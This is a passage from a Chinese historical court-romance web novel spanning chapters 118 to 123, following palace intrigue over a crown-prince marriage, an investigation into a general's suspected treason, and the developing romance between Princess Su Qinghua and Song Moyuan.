“母后,我刚得到消息,我赵阳军中恐有天奴奸细,他竟敢偷偷将我军粮草,转运给天奴,此事关系重大,我已决定,立刻封苏赫为靖远侯,前去边境查明此事。”赵阳帝一脸郑重。 “皇儿的意思是?”太后皱眉反问。 “苏赫此去边境,身负重任,万不可因儿女之事分心,况且行宫围猎之时,那刘林的女儿为了救坠马的亥儿,已与他有肌肤之亲,若是仍将她赐婚苏赫,恐引起朝局不稳,事关朝局,还请母后三思!”赵阳帝将自己想法娓娓道来,语气里却全是不容置疑的坚定。 第一百一十八章 周家之女 太后闻言,眸色不由暗了下来... 皇上这句事关朝局,便等于直接驳回她的懿旨。 毕竟后宫不得干政,她若是坚持,岂不是等于坏了赵阳皇族的规矩? 周太后心中微微不悦:当时明明商量好的,她撤回懿旨也可以,不过要答应她一个条件,皇上如今的意思,竟是条件也不算数了? 太后并不甘心就此作罢,她为了此事,筹谋了这么多,又怎会轻易放弃? 周太后收敛情绪,语调微含委屈:“那玥儿的亲事,皇上便不管了?玥儿没有封号,再加上她为了陪我,经常不在京城,所以亲事上,怕是并不好找。” 太后佯装为难道。 “玥儿才貌双全,琴棋书画样样精通,又得母后亲自教导,她的美名,怕是都传出赵阳城了,母后又何必操心?” “这么多年,我习惯了玥儿陪伴在我身边,所以我便存了私心,想让她成亲之后,仍能常伴我左右。”太后拉着周玥的手,一脸不舍。 “这有何难?那便让玥儿,在京都子弟里选便是。” “可京都子弟都身份贵重,炙手可热,万一对方不同意呢?”太后担忧道。 赵阳帝眉心一拧,不由好奇道:“玥儿冰雪聪明,谁家若能娶到,便是谁家的福气,我不信赵阳哪位男儿,竟会有眼不识珍珠!” “皇上真心觉得,谁家娶玥儿,便是谁家的福气吗?” “母后心中可是已有人选?不妨直言告诉儿臣,儿臣也可帮参谋一二!” “皇上,不如我们将这福气留给自家如何?”太后一脸试探。 赵阳帝此时,方才明白太后的心思,反问:“难道母后说的是太子?” 周太后点点头,看着赵阳帝,问:“皇儿觉得如何?玥儿跟太子可合适?” 赵阳帝没有立刻回答,他将茶碗中的茶叶轻轻吹开,心里暗暗思索:自从太后提出用周玥婚事做条件,他便派人暗暗调查,可调查结果却是,周玥好似喜欢宋墨渊。 宋墨渊命格特殊,弘一法师曾说过,必须是真正跟他契合之人,方才能跟他真正走到一起,否则的话,只会给他带来祸患,到时甚至会危害赵阳社稷安危。 他刚才一直未点头应允太后,而是从旁各种试探,便是不想太后伸手宋墨渊的亲事。 只是没想到,太后看上的竟是太子! 原来太后想扶持周家的心,一直未曾歇过。 赵阳帝哈哈大笑两声,看向周玥,问道:“玥儿,可是你看上了太子?所以母后才会为了你,如此操心?” 周玥闻言,不好意思的低下了头,小声说道:“皇上慧眼如炬,一下便看穿了玥儿的心事,我从小便喜欢太子哥哥,可他身份高贵,我只敢将这份喜欢藏在心底,可那日梅花宴,众多贵女都心系太子,我担心再如此下去,必会错过良缘,便只好厚着脸皮,求到姑祖母那里......” 赵阳帝本是故意试探,看周玥如何抉择,此时听到她如此回答,更加震惊! 周玥这么快便回心转意,跟太后一唱一和,这周家之女,还真是个个不简单。 周玥的回答,不止皇上一人震惊,便是周太后也内心激荡不已。 玥儿刚才不看宋墨渊,有可能只是意气用事,可此时对着皇上如此回答,说明她真的已下定决心! 又是良久的沉默。 最终还是赵阳帝主动打破僵局,悠悠开口道:“以玥儿的才智,配太子也是有余,只是太子的婚事,还需问过皇后,毕竟皇后是太子生母。” “好,若是皇后同意,皇上可不能阻拦,打击玥儿的一片痴心。”太后立刻跟皇上要承诺。 “这是当然,君无戏言!”赵阳帝保证道。 他倒要趁机看看,皇后到底会选周家,还是有凤命的苏清瑶! 权力果然是世界上最有诱惑力的东西,为了至高无上的皇权,每个人都在算计,而他作为已经登上皇位的人,却也不能放松,因为他要防范权力被分化,即使是亲生儿子也不行。 皇上与周太后又彼此关心一番,最终太后心满意足,起身与赵阳帝告辞。 就在她们走到殿门口之际,赵阳帝再次开口:“母后,清华公主身份特殊,若是她有礼数不周的地方,还请母后多担待一二,不要与她计较,更不要对她出手。” 苏清华刚才虽没提及太后,可她是在太后行宫出事,若说太后没有参与其中,他是不信的。 苏清华亮出尖刺,便是在提醒他,太后若还不收手,只怕苏清华不会再忍让! 如今赵阳内忧外患,如若再惹怒天韶,只会自取灭亡。 周太后听后,拂袖一甩,不屑道:“不过一个小丫头,我若是真要欺负她,她现在哪还机会在赵阳放肆,还敢带着天韶暗卫打进大皇子府?” 太后消息灵通,已将这事知晓,她刚才本想借机打压苏清华一二,可见皇上还赏赐她礼物,便只好暂时忍耐。 如今皇上反而让她主动对苏清华退让,他如何能忍? “皇上,我最后提醒你一句,她苏清华的名字已写在天韶皇谱,就凭这一点,她的所有言行,便都不值得信赖。” 语毕,周太后转身离开了大殿。 周玥紧随其后出了大殿,她嘴角闪过一丝不屑,她轻抚鬓边珠花,眼中满是算计,苏清华,即使你知道是我下的毒又如何? 还有宋墨渊,你如此伤我,我必也不会让你得偿所愿。 皇上站立原地,也被周太后的提醒所震惊。 是呀,他如何会轻信她一面之词,她毕竟是异族身份,为何刺杀他的都是普通杀手,偏偏去她院子的便是天奴奸细? 若是她早就联合天韶,在围场内自导自演,不止趁机挑唆他跟张将军的关系,还可以挑唆赵阳与天奴的关系,若真是这样,那他岂不是被卖了,还再帮人数钱? 况且他内心深处,还是不信张之熊会叛变,他平日里是猖狂了点,可叛变对他有什么好处? 赵阳帝坐在殿内思索良久,最终还是对苏清华的怀疑更深一点。 第一百一十九章 人肉护盾 最终,赵阳帝眼里闪过一丝凶光,像是笃定了什么,挥了挥手,将江全叫到身边,小声交代:“你派人悄悄盯着苏清华,切记要离着远一点,千万别被她发现。不用关注她生活日常,唯一要关注的,就是给我盯紧她,是否有想离开赵阳城的意图。 只要她胆敢试图离开都城,立刻将她抓获,她若是敢反抗,可使用强硬手段,伤胳膊断腿,都无所谓,只要留一口气,别直接打死了便罢。” 江全闻言,不由震惊,瞪大了眼睛,问:“可是天韶那边...” 赵阳帝狠狠一拍桌子:“我本以为,天韶对她并不重视,便没太在意。可没想到,天韶竟会给她派暗卫?这是明晃晃的打我的脸。” 赵阳帝深吸了口气,说:“不过如此也好,我赵阳在这几年内,不管军事还是经济,都追不上天韶了,有苏清华在我们手里,便犹如握着一块挡箭牌,天韶对她越是重视,对我们便越有利,天韶不妄动还好,若是敢妄动,苏清华便是最好的人肉护盾!” “皇上英明!”江全对于赵阳帝,只有全然的臣服。 赵阳帝心中暗暗思量:无论张之熊是否叛变,他都不想再重用他,如今利用苏清华将他拉下马,也算顺水推舟,顺势而为。 不管如何,他必不会让赵阳断送在他手里! 万寿宫内。 周太后回到自己宫殿,便匆匆遣散了下人,再也忍耐不住内心的怒气,将白瓷茶碗摔了一地。 “哼,当日若不是我将他过继到我名下,他哪来的今天的帝位?如今竟敢用后宫不得干政压我!” 周玥神色紧张的观察了下四周,然后用眼神示意王嬷嬷,让她到门口守着。 待王嬷嬷出去将门关上,周玥方才开口道:“姑祖母,小心隔墙有耳。不管当年如何,如今他已然是皇上,我们除了听他的,别无他法。好在他并没有完全反对,还给我们留了一线希望,只要我们想办法说服皇后,他便没有再拒绝的理由。” 周太后如何不懂这些道理,只是一时气愤,趁机发泄一下而已。 她拿起佛珠,快速的捻了几圈,方才稍微控制好情绪。 “皇后心机虽没皇上深,可却是个唯利是图的人,想要说服她也并不简单。不过我跟她认识多年,对于拿下她,还是有信心的,你就等着做太子妃吧。”周太后信心十足的说道。 “是,若是真有那一天,我必不会让姑祖母失望,必会带周家更进一步。” 周太后闻言,心里不由畅快万分,一扫刚才的阴霾。 “姑祖母,清华公主那里,我们要怎么办,还有大皇子?” 提起这事,周太后不由怒气又起,语气徒然上扬,说:“我本计划周密,将苏清华与大皇子送做一起,是一石二鸟之计。都怪那刘诗雨,她竟敢勾引大皇子,破坏我的计划!既然她如此迫不及待,我便成全了她。” “至于苏清华,既然皇上提醒了,我便不好过多出手,可我不出手,不代表我便放过了她,玥儿,你等找个时间,将苏清瑶叫进宫里,便说感谢她对你救命之恩,顺便跟她聊聊天,提醒一下她,张家如今的处境。” 周玥本就聪慧,经过太后提醒,周玥哪里还有不明白的,立刻喜上眉梢,高兴的点头答应。 太后清了清嗓子,喊王嬷嬷进来伺候。 王嬷嬷先是找人清理了打碎的茶碗,然后恭敬的听从太后吩咐。 “王嬷嬷,明日你便传我懿旨,将刘诗雨赐给大皇子。” 王嬷嬷闻言,心中疑惑不已,小声询问:“太后娘娘,她坏你好事,你为何还成全她呢?” “她以为进了大皇子府,便可以飞上枝头,她却不知道,这站的越高,摔得也会越惨,大皇子性格粗暴,她进了大皇子府,还不知道能活几日呢。” 周太后轻哼一声,别人可能不了解,她却是知道,大皇子府里的宫女,可是换的很勤的。 王嬷嬷见此方才明白太后的心意,她又小声问道:“那给她什么身份?她身份低微,怕是担不起皇妃的名头。” “皇妃?她也配!既然她如此急切,那便先给她个侍妾的身份吧。” “是。”王嬷嬷语调轻扬:“我这次必会将这懿旨,传得满城皆知。” 上次若是早早将这消息传出去,太后娘娘后来,也不会如此被动。 次日,太后的赐婚懿旨,便传遍整个赵阳城。 刘诗雨本听到太后亲自赐婚,心中按捺不住的高兴,可待听到只能当个侍妾,心中顿时一滞。 她虽是身份不高,可毕竟是正经的官家子女,这侍妾只是说的好听,其实就等于是个丫鬟而已呀。 “请问,雨儿什么时候正式与大皇子成婚?”刘诗雨的母亲,跪在地上,小心翼翼的问道。 “成婚?不过是一个侍妾,那时候大皇子高兴了,找个轿子将她抬过去便是。”说完,王嬷嬷便趾高气昂的离开了刘府。 消息传到大皇子府时,大皇子仍在如梦似幻中,管家不敢做主,便将此事暂时抛在了一边。 这事在京城刚刚引起一阵波澜,便很快被另一件事大事,压过了风头。 那就是,苏府也收到了一封圣旨,而且是江全亲自到苏府宣旨。 “奉天承运,皇帝诏曰,原靖远伯苏赫,英勇忠君,救驾有功,特擢升为靖远侯,命其三日后前往边境,暂时接管边境军队,另外,老秦相之孙女-秦静姝,温婉贤淑,与苏赫琴瑟和鸣,特赐婚二人,待苏赫日后在边境建功立业之后,另择吉日完婚。” 苏赫率领苏府众奴仆,跪地接旨,谢主隆恩! 苏清华得到消息,没有亲自登门,而是派翠竹将早就准备好的贺礼,以及久居边境所需药物送到苏府。 她没有亲自登门,一方面是因为她不喜离别,另一个原因,便是她想将时间留给大哥与秦静姝,上一世,他们都孤独一生,这一世他们好不容易走到一起,她便不去打扰了。 苏清华饭后在公主府溜达,顺便消化食,路过与长公主府相邻的围墙,她不由愣住。 好像好久没去过长公主府了。 第一百二十章 上次围场春猎,幸好宋墨渊及时相救,否则大皇子虽身体不行,不能对她真做什么,可若是真被人发现,她名誉受损也就罢了,关键她会有一种,吃了苍蝇一样的恶心感。 跟大皇子的仇,她已亲手报复回来,对周玥的仇也已记在心里,可对宋墨渊的恩情,她好似还没有任何表示。 苏清华想起重生以来,与宋墨渊的众多纠葛,他帮她的多,她帮他的少,况且还欠着一个人情未还呢。 想到这里,苏清华转身来到药房,开始认真的研究起药物来。 最近她刚研制了许多药物,除了用于自身防卫的,大部分是用来提升内力的。 围场遇险之后,翠竹坚持要开始习武,每日坚持早起,跟着绿辰练武,晚上别人都睡下了,她便自己偷偷在院子里练习。 苏清华明白她的心意,没有阻止她,反而炼制了许多药物给她,可以帮她尽快洗髓壮骨,就算她练武不成,起码也增强了体魄。 苏清华受翠竹影响,也每日加强锻炼起来,毕竟那种内力耗尽,九死一生的场面,她也不想再经历一次。 苏清华精心挑选了五六瓶丹药,又随手拿了几根人参、灵芝,统一装进一个大盒子里,便拿着盒子飘然来到公主府。 碧山见她忽然到访,先是愣了一下,随后便笑容满面的大声通传:“主子,清华公主带着礼物来找你了。” “进来。”宋墨渊虽极力压制,碧山还是听出他声线里的喜色。 “公主请进。”碧山推开书房的门,将清华公主请进去,又贴心的将门带上。 “你来的正好,我刚收到密报,张之熊已命人,悄悄给边境送了消息,想是在那边安排了什么,等着你大哥。” “无妨,大哥早有心理准备,他如今已不是那个忍辱苟活的苏赫,他如今是承载着祖父希望,得皇上亲封,要为赵阳千万百姓做主的靖远侯!” “我也在边境安排了人,会暗中配合他一起调查,也会保护他的安全。” “多谢。”苏清华忽然觉得,她手上的礼盒好像拿小了。 “我这是为了赵阳未来,苏赫他是个不可多得的人才,而赵阳现在最缺的也是人才。”宋墨渊解释道。 “不管如何,还是要多谢你。”说着,苏清华将礼盒递给他。 “我知道你不缺金银,便给你准备了点,可以助你提升内力的丹药。”苏清华见宋墨渊脸上面无表情,补充道:“当然,如果你不需要,也可以给碧山,毕竟他也帮我多次了。” “碧山最近心火旺盛,不易服用丹药,我正是需要突破的时候,这药正好可以助我。”说着宋墨渊将整个盒子,一起装进旁边的橱柜里,甚至还上了锁。 苏清华见他脸色仍是淡淡的,甚至带着一丝不爽,一时也猜不透他是真需要,还是假需要。 不过她也没纠结,毕竟她心意到了,若是他遇到危险,她也不会袖手旁观便是。 苏清华没有久呆,两人又聊了几句闲话,她很快便又返回自己府上,毕竟晚膳时间快到了。 苏清华净手之后,稍作休息,刚准备用晚膳,一个墨色身影便走进屋来。 “清华公主,当日春猎,你输给了我,欠下三天膳食,可是忘了?” 宋墨渊进来之后,便不客气的坐下,仿若他也是这里的主人。 苏清华见状,朝李嬷嬷挥挥手,李嬷嬷立刻会意,又吩咐人准备一副碗筷,并站在其侧,主动帮他布菜。 “你们退下吧,我吃饭的时候,不喜欢人多。” 李嬷嬷面露尴尬之色,看向苏清华,苏清华点点头,李嬷嬷便带着其他人离开了。 “宋公子可是属狗的?闻着饭味便来了?” “食不言寝不语。”宋墨渊一脸严肃,反而教训起苏清华。 苏清华闻言,冷哼一声,看准时机,迅速的从宋墨渊筷子底下,抢走一块鱼肉。 宋墨渊没有说话,只是默默的,又重新夹了一块鱼胸肉,放在碟子里开始挑鱼刺。 苏清华见状,内心顿感无聊,捧起自己的饭碗,大口扒起饭来。 她只想赶快吃完,结束这场尴尬的二人用膳场面。 待她一口气将饭吃完,轻轻舒了一口气,将青瓷碗放下,却发现,她身前的彩蝶里,多了一块鱼胸肉。 她一脸不解的看着宋墨渊。 宋墨渊在她的注视下,转过头来,说:“我刚才用的是没用过的筷子。” 苏清华闻言,眉头皱的更深。 “盘子也是干净的,我也没用过。”宋墨渊再次解释。 “你刚才,难道是,在帮我挑鱼刺?”苏清华问。 “没有,我只是挑完鱼刺,才忽然想起来,我不喜欢吃鱼。” 说完这句话,宋墨渊不敢再看苏清华,将头转到另一边。 苏清华从这个角度,正好看到宋墨渊的耳朵,犹如一只煮熟的大虾,红的可爱。 苏清华虽已吃饱,还是重新拿起筷子,将那块鱼肉放进嘴里。 那鱼肉甜而不腥..... “咳咳咳...”苏清华忽然剧烈咳嗽起来,泪水涌上眼眶,双眼泛红。 “你怎么了?可是被卡住了?都怪我检查的不够仔细。”宋墨渊一边说,右手自然的轻拍苏清华后背。 “哈哈哈....”苏清华忽然发笑,眼里的眼泪更是止不住的流出来。 宋墨渊此时才发觉自己上当,现在不止是耳朵,便是整张脸都涨的通红。 苏清华止住笑,说:“好了,不逗你了,你赶快吃吧,吃完我们谈正事。” 宋墨渊确实饿了,他为了能来苏清华这蹭饭,特地安排碧山在墙头等了一下午,见公主府的侍从将饭端进屋,特意翻墙来的。 苏清华本就饭量小,晚膳更是用的少,便坐立一边等待。 只见宋墨渊执起象牙箸,指尖轻拢袖口,夹起一箸翡翠般的笋丝,动作仿若流云舒展。唇角微扬,下颌轻抬,竹筷将菜肴缓缓送入口中,齿颊开合间不见丝毫声响。 每咀嚼一次,喉结便优雅地滚动,喉间的吞咽动作如天鹅引颈,举手投足皆是千年世家的清贵端方。 “好了,我们谈正事吧” “嗯?什么正事?”苏清华仍蒙蒙的问。 第一百二十一章 救命之恩 “关于张家是否勾结天奴之事。”宋墨渊耐心提醒。 苏清华看着他用膳竟看入了神,直到对方说话提醒,她方才回过神来。 她内心不由懊恼,这是怎么了?她重生以来,可是很少失神,让自己失控的,难道是被对方这张冷峻的脸诱惑? 苏清华急忙端正坐姿,脸色也瞬间强行严肃起来。 “你那可有什么发现?”苏清华问。 “张之熊最近告病在家,闭门谢客,张府内戒卫森严,我暂时还没发现有利的证据。” 宋墨渊把玩着折扇,继续说:“不过,我已命人全面监视张府,张之熊有任何异动,我都会第一时间掌握。” 苏清华点点头,说:“我已传信给大哥,让他在苏府内大力寻找,便是将苏府翻过来,也要设法找到,祖父当年掌握的证据。” 宋墨渊眉峰一拧,皱眉道:“我担心那证据并不好找,否则张彩蝶掌家多年,必是已然发现,所以我们最好还是,要想办法从别的地方入手。” 苏清华再次点头:“嗯,我也知此事难办,可凡事只要发生过,必会留痕,我有信心,这次必会让张家得到应有的惩罚。” “此事我们需尽快解决,时间拖得过久,若是我们一直找不到有用证据,只怕张之熊在朝内的拥护者,会站出来质问舅父,那时候,舅父为了朝堂稳定,便不得不放张之熊回北境。”宋墨渊忧心道。 “放心,不管张之熊多么精明,只要他当过贼,就没有不害怕被查的!现在他表面看着安静,实际比我们还急,人一旦着急,就会出错,只要我们盯紧了他,必会抓住他的狐狸尾巴。”苏清华笃定道。 宋墨渊见苏清华内心坚定,脸上洋溢着自信的光芒,不由被她所感。 顿时内心也为之一振:“清华公主说的有道理,他向来聪明,如今舅父封苏赫为靖远侯,并暂时掌管边境,他必是已猜出舅父已怀疑他与天奴有异,此时他必是心急如焚,焦躁不安,我们趁此机会,必会将张家一举拿下。” 只要帮舅父除了张之熊,拿回北境兵符,赵阳便多了一线生机。 “如果你是张之熊,现在最想做的是什么?”苏清华问。 宋墨渊右手将折扇搭在脑门,略一思索,说道:“最想让苏赫到不了边境。” 苏清华闻言,不由会心一笑,跟她想的一样。 以前她总嫌弃宋墨渊太过聪慧,总是将她一眼看透,如今与他合作,这倒成了一个优点了。 “如今皇上大张旗鼓给大哥下旨,张之熊反而不敢公然刺杀大哥,他必会使用一些别的手段。所以我们与张家的战场,主要还是在赵阳城。” “张家若是真被逼入绝境,只怕会狗急跳墙,你一定要保护好自己,万不可将自己置于危险境内。”宋墨渊对外呼喊一声。 瞬间有两个黑影落下。 “以后你们两个跟在清华公主身后,务必保证她的安危。”宋墨渊沉声吩咐。 “是。”两人异口同声。 “不必了,我这里有天五护我。” 苏清华开口拒绝,她已经欠宋墨渊良多,她不想再欠他什么。 “他们两个,我可不是白白送给你的。”宋墨渊眉头一皱,嘴不由轻轻憋起,摆出一副可怜的样子说:“我们家的厨子最近病了,我需要在你府上用膳。” 碧山在门口听着主子胡扯的理由,差点将手中的剑掉了。 府上明明有十几个厨子,想要什么菜式,便有什么菜式,更没听说哪个厨子病了。即使所有厨子都病了,只要跟皇上说上一句,宫中的御厨立刻便可以送到府上。 想到此处,碧山不由摇头,他看着,府上厨子没病,主子倒是病了,得了一种罕见的疾病-相思病。 屋子里面,苏清华没有再拒绝,缓缓点了点头。 也罢,既然是合作,那他负责保护她,她负责帮赵阳除掉毒瘤。 两人又细细讨论了一下,接下来的计划,宋墨渊见天色不早,便翻墙返回了自己府中。 苏清华也早早躺下休息。 三日后一早,公主府内。 “清华公主,不好了,大皇子带着一群侍卫来了。”翠竹气喘吁吁的跑进苏清华屋里,进行禀报。 苏清华不由皱眉,他竟这么快便醒了? 随后她便舒展眉头。 也是,这赵阳都城,不止她一人会这“如梦香”,必是有人帮他解毒了。 “走,去看看。” 苏清华顺手拿起那条长鞭,边走边想:若是他敢造次,她不介意再打他一次。 “你别过来啊,我警告你,我可是赵阳皇子。”苏清华远远的,便听见大皇子的声音。 待她走近,却发现大皇子,正眼神惶恐的躲在一个侍卫身后,眼神警惕的盯着站在对面的天五。 “你来干什么?”苏清华一甩手里的长鞭,开口问道。 “清华公主,你先让他们都退下。”大皇子强装镇定道。 “你做梦!”翠竹率先开口,并挡在苏清华面前:“你若是想报仇,现在出手就是,我们绝对不会离开小姐一步。” 大皇子见状挥挥手,对他带来的侍卫,说:“你们先退到门口等着我。” 那些侍卫立刻迅速的离开了公主府,乖乖在大门口等待。 “我不是来找事的,我有重要事要跟你们公主说。”大皇子解释道。 苏清华见他诚意十足,略一思索,也对着天五他们挥挥手:“你们先退下吧。” “公主殿下,可是......” “无妨,你无需走远,我若是真有危险,大声呼喊便是!” 天五闻言,瞬间消失在人前,不过他并没有走远,只是躲在不远的一颗树上,紧紧盯着这里的一切,特别是大皇子赵亥,只要他敢妄动一下,他会以最快的速度,冲过来给他好看! 翠竹虽有疑虑,仍是带着其他众人离开。 “现在人都走了,你有什么话,可以说了。”苏清华道。 只见大皇子扑通一下,跪倒在地。 这一跪,不止苏清华震惊,便是站立在不远树上的天五,惊的差点跌下树来。 “你这是干什么?”苏清华不解地问。 第一百二十二章 化敌为友? “跪谢清华公主救命之恩!” “救命之恩?你确定?”苏清华美目圆瞪,不可置信的反问。 她现在脑子只有一个字:懵。 大皇子一脸真诚的说:“千真万确!清华公主应该清楚,我本有隐疾,凡是见到跟栀子花相关的事务,或者是闻到栀子花的香气,便会狂躁不堪,忍不住想用鞭子抽人,可自从前几日,你进府抽了我,等我醒来,我惊讶的发现,我竟好了!” “你确定?”苏清华仍是不可置信的问。 “我确定,我刚开始也不信,可我试验多次,我现在真的可以控制住自己情绪了。不信你看......” 说着,大皇子站起身来,并从怀中拿出一个方帕,那手帕不止绣有栀子花,隐隐的还带有栀子花香气。 大皇子将那方帕对准口鼻,深深的嗅上一口,随后一把抢过苏清华手中的皮鞭。 苏清华见状,眉头紧皱,身子不由撤后三分,天五也从树上直飞而下,挡在苏清华面前。 “你们别紧张,你看我手里拿着鞭子,却并不想伤人。”他慢条斯理的整理好鞭子,然后双手递给苏清华。 苏清华仔细观察他的脸色,果然是平静无波,尤其是那双眼睛,并无先前发病之时的鲜红与痴狂之色。 “啪!”苏清华将手中长鞭,朝着大皇子耳边甩过,他下意识转头躲过,随后朝远处的一颗树飞过,最终躲在树后,只露出一个头来,说:“清华公主,我真好了,你为何还要打我?” 苏清华爽朗的笑声,在长廊里回荡:“大皇子你过来吧,我刚刚只是跟你闹着玩呢。” 大皇子仍是抱在树后,说:“你先把鞭子扔了,你上次打我的伤还没好呢。” 苏清华闻言,果然将鞭子仍到一边,说:“好了,你现在可以过来了。” 大皇子这才靠近前来,他双手交叠,抱拳一礼:“我多年被这恶疾所困,想挣脱也是不能,因此将大好人生荒废,如今清华公主犹如我再造父母,我必永世铭记此恩情!” 大皇子说的真诚,令苏清华也不由微微触动。 “我当时打你,只是为了报复,并不是为了救你,虽是无心插柳柳成荫,那也是你自身造化,你不必记挂在心了。” “虽是无心,可结果已定,我虽不济,却也懂得知恩图报,以后有需要我的地方,你向我开口便是。”大皇子真诚的眼神毫不掺假。 他之所以如此感谢苏清华,还有一个原因,那就是,他不止疯魔之症被治好,便是那方面问题也好了,只是他不好意思跟苏清华直说。 这关系到他一生幸福,还有男人最重要的尊严,他如何能不感激? 苏清华见他坚持,也不再推辞,便说:“你若是以后真能改过自新,不再虐待毒打他人,这便是对我最大的回报。” “若是再有此事发生,清华公主随时去我府里惩戒便是!”大皇子一脸坚定。 “好,那可说定了,下次我再去,可不是像这次一样,打的这么轻了。” 苏清华嘴上虽如此说,心里却不再怀疑,望向大皇子的眼神,也柔和了很多。 大皇子闻言,说道:“嗯,你放心,到时候,我亲自给你准备好鞭子。”” 他发现苏清华眼神的转变,嘴角不由上弯,这比他得到父皇夸赞甚至到高兴。 “清华公主,我还要告诉你一件事,我求娶你之事,是太后命令的,后来让我去她行宫害你,也是周玥亲自找的我。”大皇子压低声音,小声说道。 “此事我已猜到,你可知她从何处得来的药?” 苏清华更感兴趣的是这“如梦香”的来源。 “这我便不知了,太后只是利用我,她对我并无信任,这些事情自然也不会跟我说。”大皇子诚实回答。 太后嘴上说的好听,可每次看他的眼神,充满了不屑。 他又如何会看不出来呢? 以前被癔病所困,不愿意深思很多事情,可如今即已痊愈,便不能继续自欺欺人了。 他选择如实告诉苏清华,是因为,苏清华虽是一直讨厌他,可却也没有看不起他。 他虽为皇子,却从未被人真正看得起过。 苏清华愿意打他,他反而觉得自己被认真对待了。 “无妨,你能主动跟我说明此事,足见你真的悔过了,你身上伤口未愈,还是早点回去休息吧。”苏清华本也只是随口问问,没有真的期待得到答案。 大皇子闻言向四周望了一圈,压低声音,小声说道:“那香的来源我虽不知,可却发现了另一件事情,昨日我进宫谢太后赐解药之恩,发现太后对你不仅能解如梦香,甚至也有“如梦香”十分好奇,对我也是多方打听。” “此事我知道了,没别的事你便回去吧。” “还有一件事。”大皇子用更低的声音说:“我昨日进宫,正好遇见那苏清瑶,之前春猎之时,她不是恰好救了周玥嘛,如今她进宫领赏。” “然后呢?”苏清华明白,若只是领赏,大皇子不必特意提及。 “然后我临走的时候,发现周玥与苏清瑶,正在后花园秘密商量着什么,中间好似还提到你的名字,她们见了我,甚是警惕,我猜测她们想联合起来,要对你不利。” 大皇子为防止有人偷听,故意离得苏清华很近,嘴也不由凑近苏清华的耳朵。 若是从远处看,两人几乎贴在一起,不过凑近了看,两人还是保持一段安全距离的。 苏清华听罢,不由暗中思索:这苏清瑶倒也罢了,向来胆大无脑,可周玥便不同了,从上次下药之事可以看出,她心思缜密,计谋周全。 她两人倒是都对她看不顺眼,如今凑到一起,不知要整出什么幺蛾子? “此事多谢你提醒我,最近我会多加防范二人。”苏清华淡定的回答。 不管她们二人出什么招,她也不会坐以待毙,上次下毒之仇还未报,周玥若是不出手,她还找不到机会回报她呢! 第一百二十三章 再生父母 “哎呦,出来这一会儿,身上又痛了,我先回家躺着了,别忘了有需要我的地方,千万别客气。”大皇子留下这句话,便一瘸一拐的转身离开了。 苏清华也唤出翠竹她们,带着她们返回主殿,只是刚进门,便发现一个身影在悠然的喝茶。 “宋公子怎么又来了?来了也不打声招呼,竟独自喝起茶来,便不怕这茶有毒?”苏清华出言讽刺。 宋墨渊将茶碗放下,面色不虞道:“我倒想跟你打招呼,不过见你跟大皇子仅仅几日功夫,便化干戈为玉帛,动作亲近相谈甚欢,便没敢打扰。” 苏清华见对方语气不善,也不客气的回道:“宋公子不请自来,私闯公主府,还偷窥主人隐私,这种种行为,实在是有失君子之道。” “是比不上那赵亥君子,被你揍的连躺三天,竟还主动上门跪谢,这已经不止是君子,便是活佛在世,也自愧不如。” 宋墨渊语气里竟是酸气,碧山在一边听着不由为主子捏把汗。 “宋公子有自知之明便好,即知道自身缺陷,便应及时纠正,起码下次知道走正门,并让人通传。” 宋墨渊闻言,心中更是不爽,只是他刚要再次开口,便被碧山及时打断。 “清华公主误会了,主子听说,大皇子带着一众侍卫登门,担心他前来找公主麻烦,立刻放下手中早膳,急匆匆的翻墙赶来,后来见大皇子不像找事,才放下心来,在此等候公主,主子绝对不是特意探听公主隐私,还请公主明察。” 主人间讲话,碧山作为手下,本不应该开口。可他听着二位说话针锋相对,越来越不对劲,才忍不住开口打断。 清华公主倒也罢了,主子明明内心是想关心人家,嘴上说的却是另外一回事。 不过这也不能全怪主子,听到喜欢的人要被人欺负,饭都来不及吃,急匆匆的赶来,看见的却是两人举止亲近,别说是主子,只要是个男人便会生气。 只可惜,主子这浓浓的醋味,清华公主却毫不知情,他若再不出来阻止,只怕事态发展到不可收拾地步。 “翠竹,摆膳。” 待碧山解释完,苏清华没有再说什么,而是转头吩咐翠竹。 宋墨渊以为对方这是下的逐客令,便起身拱手告辞。 “不是没用膳吗?要么留下一起用膳,要么将昨日的两人一起带走。”苏清华看似威胁,其实已是主动给了对方台阶。 “我送出去的人,从没有收回的道理。”宋墨渊说完,便自己熟练的找到椅子坐下,准备用膳。 “翠竹,让她们多备点饭菜。” 苏清华调整了语气,没了刚才的针锋相对。 苏清华暗忖:他心情不爽,必是因为想帮忙,却没捉住机会,任谁意愿落空,心中失望也是人之常情。 宋墨渊本心是好意,她毕竟也是活了两世的人,大气一点,率先退一步,这并没有什么难的。 不到一盏茶的功夫,一桌子丰盛的早饭便摆满了桌子。 苏清华亲手为宋墨渊盛了一碗桂花粥,递到他面前:“感谢你主动前来帮忙。” 碧山见状刚要开口说话,却被宋墨渊瞪了一眼,他只能乖乖闭嘴退到一边。 看着主子真大口大口的喝起那桂花粥,碧山内心不由紧张:主子明明花粉过敏,不敢食用任何带花的食物。此刻竟不顾身体,强行服用这粥! 算了,反正府中有早就配好的药,吃完饭尽快回府吃药,应该便没事了。 可好不容易等主子用完早膳,翠竹命人将残羹撤下,主子仍没有要回府的意思。 “刚才大皇子来说了什么?”宋墨渊开口。 “他说要改过自新,重新做人,以后我便是他的再生父母。”苏清华淡淡答道。 “什么?”宋墨渊含在口里的茶,差点喷出来。 “他说我将他癔病治好了,这恩情犹如生恩,以后让我有事尽管找他!” 宋墨渊不可置信的问:“你竟真信了这话?” 苏清华素手执起银壶,沸水悬注入盏,氤氲水汽中,白兰花翩然舒展,仿若重生。 “我已仔细观察,赵亥见栀子花便发狂的病确实好了。” 宋墨渊看着苏清华指尖轻叩碗沿三下,细瓷内壁凝结的水珠蜿蜒而下,与茶汤交融成碧色涟漪。 他的心也犹如那涟漪,不受控制的旋转起来 宋墨渊开口:“就算他病真好了,也不代表他真心感激你,万一他只是想趁机接近你呢?” 苏清华执起白玉般的茶盏,递给宋墨渊,道:“大皇子毕竟是你表哥,他多年顽疾治愈,你不见开心也就罢了,怎么好似还反而不高兴?” 宋墨渊推开玉盏道:“我只是担心你吃亏,特意提醒你,以免你上当罢了。” 碧山见主子没有接过茶盏,心中暗自松了口气,那碗桂花粥已要命,要是再来一碗白兰花茶,只怕那药物也压不住。 